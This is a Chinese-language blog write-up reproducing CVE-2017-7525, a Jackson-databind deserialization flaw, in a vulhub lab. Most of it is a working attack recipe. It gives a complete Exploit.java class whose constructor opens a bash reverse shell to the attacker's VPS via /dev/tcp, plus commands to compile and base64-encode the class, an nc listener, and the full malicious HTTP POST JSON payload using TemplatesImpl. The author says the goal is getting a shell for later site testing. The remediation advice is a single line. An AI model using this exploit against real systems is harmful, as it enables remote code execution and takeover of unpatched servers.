• 漏洞复现-CVE-2017-7525-Jackson远程代码执行


     
     
     
     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶场:docker拉的vulhub靶场

    0x01 影响版本

    FasterXML Jackson-databind < 2.6.7.1
    FasterXML Jackson-databind < 2.7.9.1
    FasterXML Jackson-databind < 2.8.9

    0x02 漏洞复现

    (1)访问存在的漏洞页面,漏洞环境是jackson2.8.8,内置的java环境是1.7,看文章说对jdk1.8就不再适用了,也不清楚是真是假:

     直接访问漏洞页面是一个spring的默认报错页面:

    很难知道这个站还使用了Jackson

    (2)这个漏洞复现要从安装java1.5的环境说起,从现有的复现文章来看,基本都是只能完成写个txt文档的恶意攻击,但是我怎么会走寻常路呢,即然只是单纯的复现漏洞,那就必须要getshell才行。为了方便自己以后测站,我写明白一些,首先是安装jdk1.5的环境。到下面这个链接下载jdk1.5:

    https://www.oracle.com/java/technologies/java-archive-javase5-downloads.html

     下载时需要登录自己的Oracle账号,这里没有的话就注册一下就好。

    (3)先给这个bin文档赋予更高的权限:

    chmod 755 jdk-1_5_0_22-linux-amd64.bin

    (4)执行安装jdk1.5,执行完成将会在你执行的当前目录下生成一个目录 “jdk1.5.0_22”:

    sudo -s ./jdk-1_5_0_22-linux-amd64.bin

    (5)然后是常规的,将jdk1.5添加到系统环境变量,打开java.sh,然后编辑,在java.sh中加入你上述看到的jdk1.5.0.22的目录,按照自己的实际目录来修改java.sh

    sudo vim /etc/profile.d/java.sh
    #set java environment
    export JAVA_HOME=/root/jdk1.5.0_22
    export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
    export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

    (6)重启服务器:

    reboot

    (7)当你再次打开服务器时就会发现java的环境已经变成了jdk1.5:

    (8)接下来进入编译Exploit.java文件的环境,需要将恶意攻击的脚本编译成.class文件,将如下.java文件复制并保存为Exploit.java(懂java的都知道,类的名字需要与文件名一致,否则编译的时候会报错),当然你也可以修改这个类名:

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class Exploit extends AbstractTranslet {
    
    
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
    
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
        }
    
        public Exploit() throws IOException {
            try {
                String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/xx.xx.xx.xx/8761 0>&1"};
                Process p = Runtime.getRuntime().exec(commands);
                p.waitFor();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }
    
        public static void main(String[] args) throws IOException {
            Exploit helloworld = new Exploit();
        }
    }

    (9)将Exploit.java上传至你的vps,在jdk1.5的环境下进行编译(在编译前不要忘记了,/dev/tcp/xx.xx.xx.xx/8761,这里是需要把xx.xx.xx.xx更换为你vps的监听端口的,不然是无法实现命令执行的,懂的都懂),这就是上面到(7)为止的作用:

     (10)最后一步,将生成的Exploit.class编码为base64,这个也不用担心,我已经搜到命令了,直接执行以下命令即可生成base64的payload:

    javac Exploit.java; cat Exploit.class | base64 -w 0 | xargs

    (11)在自己的vps上开启监听:

    nc -lvp 8761

    (12)最后一步,也就是所有千篇一律的使用payload进行发包操作:

    POST /exploit HTTP/1.1
    Host:xx.xx.xx.xx:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 1864
    
    {
      "param": [
        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
        {
          "transletBytecodes": [
      "将base64编码好的payload放进来"
          ],
          "transletName": "a.b",
          "outputProperties": {}
        }
      ]
    }

     然后即可获取到肉鸡的shell:

    0x03 漏洞原理

    Jackson是一款基于Java平台的开源数据处理框架,可以方便的实现Jason对象和Java对象的相互转换,很多Java应用都使用Jackson框架进行Jason对象处理。Jackson-databind是Jackson框架的核心库之一。

    Jackson-databind库在ObjectMapper类readValue方法处理中存在一个反序列化漏洞,未授权的远程攻击者可以通过提交精心构造的恶意数据执行任意代码。

    0x04 修复建议

    1、升级到高版本

    0x05 参考文献

    https://www.cnblogs.com/ABKing/p/13669401.html

    https://blog.csdn.net/xuandao_ahfengren/article/details/106805679

    https://www.nsfocus.com.cn/html/2017/39_0714/396.html

    0x06 免责声明

    本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

  • 相关阅读:
    Visual Studio 2017 激活密钥
    jwt的ASP.NET MVC 身份验证
    Building a ASP.NET solution from commandline?从命令行构建 ASP.NET 解决方案?
    10 款更先进的开源命令行工具
    Cookie的Secure属性
    阻碍一个人成长的原因是什么?
    逃   离
    如何判断Javascript函数是否是Async函数
    【四百来块】小米RMMNT215NF显示器评测
    npm 中,n 是什么鬼?
  • 原文地址:https://www.cnblogs.com/cute-puli/p/15378959.html
Copyright © 2020-2023  润新知